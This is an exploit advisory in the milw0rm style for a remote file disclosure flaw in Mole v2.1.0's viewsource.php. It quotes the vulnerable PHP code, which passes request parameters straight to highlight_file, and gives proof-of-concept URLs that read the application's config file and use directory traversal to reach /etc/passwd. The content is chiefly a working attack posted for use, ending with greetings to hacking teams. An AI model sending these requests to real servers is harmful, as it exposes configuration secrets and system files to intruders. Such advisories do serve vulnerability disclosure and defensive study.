31 lines
No EOL
1.1 KiB
Text
31 lines
No EOL
1.1 KiB
Text
# Mole v2.1.0 (viewsource.php) Remote File Disclosure Vulnerability
|
|
# Script : http://sourceforge.net/project/showfiles.php?group_id=164171
|
|
# Vuln Code :
|
|
##############################################################################
|
|
# <html>
|
|
# <head>
|
|
# <title>Mole: Template viewer</title>
|
|
# <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
|
|
# </head>
|
|
# <body>
|
|
#
|
|
# <?php
|
|
# $dirn = $_REQUEST['dirn']; <--- XxX
|
|
# $fname = $_REQUEST['fname']; <--- XxX
|
|
#
|
|
#
|
|
# highlight_file($dirn.$fname); <--- XxX
|
|
# ?>
|
|
#
|
|
# </body>
|
|
# </html>
|
|
##############################################################################
|
|
# POC :
|
|
# /mole_2_1_0/viewsource.php?dirn=include/config.inc.php
|
|
# /mole_2_1_0/viewsource.php?fname=include/config.inc.php
|
|
# /mole_2_1_0/viewsource.php?dirn=../../../../../../../&fname=etc/passwd
|
|
##############################################################################
|
|
# Greetz : Tryag-Team -JIKI Team -Stack-Terrorist [v40] -H-T Team -RoMaNcYxHaCkEr
|
|
##############################################################################
|
|
|
|
# milw0rm.com [2008-04-07] |